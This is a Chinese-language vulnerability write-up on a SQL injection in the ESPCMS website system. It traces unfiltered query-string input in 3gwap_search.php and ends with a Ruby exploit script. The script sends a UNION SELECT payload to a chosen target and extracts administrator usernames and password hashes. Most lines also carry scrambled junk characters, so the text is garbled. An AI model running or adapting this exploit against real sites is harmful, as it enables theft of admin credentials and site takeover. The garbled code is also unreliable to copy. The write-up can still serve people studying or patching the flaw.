0×0 漏洞概述0×1 漏洞细节4 }* `0 I' \1 R
0×2 PoC: C1 w& r' |5 U% c' o% s' X( K) K5 B
) c$ A! |: i9 G! i; E0 I( f! d* o Q8 T
# ~$ a9 K8 C' s8 U& s8 h* o, w0×0 漏洞概述
1 w* q- ?; _" G: _& I- n( @$ ?) P( D! U8 c
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
; }5 ?* D( {. c5 E- S# G其在处理传入的参数时考虑不严谨导致SQL注入发生, {& ` \, K8 k+ A# h5 s. a0 L
) L) q: h# c4 ?) l0 Y& q6 X' `
4 K' v' R c, }& L- C+ Q
0×1 漏洞细节
7 o" {2 Y7 _* z. R0 |
% N7 J/ d. B: y6 `! @. k变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
. L/ w+ _4 C+ l% v2 T9 A正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
/ j& D- S% ?5 n( {; p8 s而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。$ U& X9 e7 f! t5 h1 }2 D4 ~) ^* t
- s' s% G6 p: n3 B! B在/interface/3gwap_search.php文件的in_result函数中:+ C5 n9 N5 N& j. }1 T) X5 O
9 {% ?% Y; s8 a& X8 l3 \" G. K+ K' f ^6 c$ x5 A1 {
# i9 B5 h5 [( _& ?" }) z' I- o
function in_result() {2 u9 [; K& E$ ~
... ... ... ... ... ... ... ... ...
. {' D; u" J' K* C" V+ n7 p $urlcode = $_SERVER[ 'QUERY_STRING '];0 X# |$ t3 V- F K- M3 F! R3 A
parse_str(html_entity_decode($urlcode), $output);
" k6 x& W, _0 w; Z) K
4 Y) J2 \8 K6 ? ... ... ... ... ... ... ... ... ...
{4 V, h* P- y if (is_array($output['attr' ]) && count($output['attr']) > 0) {
5 g+ D! F+ y1 K/ e" z0 _/ h, l
+ }% P }* I H% E7 O $db_table = db_prefix . 'model_att';) u _( m$ ~; c! L5 A
$ J1 H7 W! _, C* ^2 k* x. @ ] J
foreach ($output['attr' ] as $key => $value) {
- b9 W" @3 X6 p, s: _8 d if ($value) {+ B2 @" P- d; j; b" z
, S: l$ L# f. Z6 B9 m, ]6 m; o
$key = addslashes($key);
4 t4 O0 k/ ~" f $key = $this-> fun->inputcodetrim($key);6 j7 S; i( h! x/ Q. _! W% ^3 s0 o
$db_att_where = " WHERE isclass=1 AND attrname='$key'";- ^3 G2 `5 H) [& @! D
$countnum = $this->db_numrows($db_table, $db_att_where);; A; K# N. D& d6 \& r! e
if ($countnum > 0) {
. [2 M: k& J+ F0 V0 L $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;9 B% ?$ m6 I, d$ ?2 X: x+ p
}
* x0 p9 p r' M; o% @3 \# e- s }$ T8 {3 [, N" S) S/ z
}
! v9 k+ M& w( Y$ G; j( { }
2 z* y9 {1 v- D" u if (!empty ($keyword) && empty($keyname)) {
) E7 u9 ^* p5 H/ a $keyname = 'title';
1 ~+ P$ Q- Z, j' Z3 X5 { $db_where.= " AND a.title like '%$keyword%'" ;
* F( {5 f4 n5 o& g: n7 p } elseif (!empty ($keyword) && !empty($keyname)) {
i) O+ j+ H/ _, I1 Z! t $db_where.= " AND $keyname like '% $keyword%'";
& E2 T- Y0 X9 ] c/ f" i }
: p6 M: c/ {6 Y1 p7 w4 w $pagemax = 15;; J4 i$ ?; B$ o
8 u- O, w/ H0 Q: G
$pagesylte = 1;: w, S m$ O* k. s5 C7 U
4 e4 b4 o( r# i if ($countnum > 0) {
9 C& L* R# k/ _3 {" R8 ~
0 z4 Q, ^ z5 {1 k, A9 y7 S $numpage = ceil($countnum / $pagemax); V- g2 f; A! K/ ^( I1 y3 i1 a
} else {0 @. c" w/ k+ O! I& E7 C
$numpage = 1;; i! ^, ]! i7 T
}
$ L; b% f" C8 h9 b' S" A$ o$ }7 u $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
5 x2 c9 ~+ x( | $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
* n2 Y$ l% w6 I$ |$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
# V& A, N" S0 H) H ... ... ... ... ... ... ... ... ...
$ e/ k; ?6 ?1 W- Y }9 I9 }5 C4 b6 q
* } e# c; S! v0 k0 M# q" N$ V7 \
0×2 PoC: ~3 J |1 C) c) q) E1 y) {+ A
* ~/ x' }' l/ r; M& o8 k( N# n( ?6 b9 V$ L! n8 E
9 y( G$ _% J3 b7 d; `
require "net/http"
) P& p4 O+ H: d7 l7 `4 I2 u0 p" W+ w7 B h2 r
def request(method, url)$ D3 Q+ |. J# j+ T3 J
if method.eql?("get")0 f. M4 C7 `1 d4 `6 T
uri = URI.parse(url)
6 n' X: B# _( v) k0 T http = Net::HTTP.new(uri.host, uri.port)' ]/ s2 X5 W; X+ u% E) R( D
response = http.request(Net::HTTP::Get.new(uri.request_uri))
) {) R/ O/ T- F- ~ return response3 v. [% S% f2 s2 N8 t: w# N
end0 n$ e/ n7 u6 Q
end
& i" z% c$ l% J% O- w; r4 |* G4 {2 u
, o$ x1 a6 D( J7 c% @ Cdoc =<<HERE
( g/ H% O& t: X3 k' |9 x-------------------------------------------------------! j$ t- \& _5 ~! C; X. v' s/ R- V R
Espcms Injection Exploit( r% _; [( u F
Author:ztz
/ h; ?- ?0 e( R+ l) H" Q' vBlog:http://ztz.fuzzexp.org/% q: }& w8 I4 m7 H7 T" H
-------------------------------------------------------
( O* T5 ~ {0 S; K6 |' I, j8 U; }' _! y" |1 S9 E. n
HERE
/ W" b% y5 K2 G& [
s. h0 F8 k, L) q$ ^usage =<<HERE
4 F# Q6 @4 c9 O- [/ N. R k, X! kUsage: ruby #{$0} host port path
# ?- n3 q# N1 L I/ [0 Gexample: ruby #{$0} www.target.com 80 /9 C! I c$ E# }. R A
HERE
$ \+ D3 P' R5 Z+ i0 P9 u) S$ f
0 E* I, L; L5 n, I. z7 Y' Y% ]puts doc1 o4 e4 {) S" d
if ARGV.length < 31 a6 {( p6 s/ `$ ?
puts usage
) R9 k# u/ f2 @else
$ `+ U4 q F$ G0 M* u$ n $host = ARGV[0]7 Q5 t8 ]9 N3 U6 ^* ?- V; j- }
$port = ARGV[1]$ J" _0 ^% y) b" Y u. h7 m
$path = ARGV[2]5 B6 i8 o! t% n, ^7 p1 b" i2 s4 K
' g/ J# O4 r. r% S% y. I
puts "send request..."5 u" j8 f/ v" x2 s* ^
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
2 a) A( q) p5 F0 kattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
+ N) g* J- v0 N' U1 e,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
c. @2 B1 L; I7 l" {% y,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"0 J' j5 O+ b$ E4 U/ \7 ^9 W. r5 f
response = request("get", url)- m5 r8 K) T( [% b) K- s- ]
result = response.body.scan(/\w+&\w{32}/)! F. q& {9 @$ a8 {/ h6 X0 U
puts result
) K0 Q* F" d$ S) q& o6 rend5 O& j: d4 u/ {, |; x
( f+ |; ]' o5 b5 D8 o' T |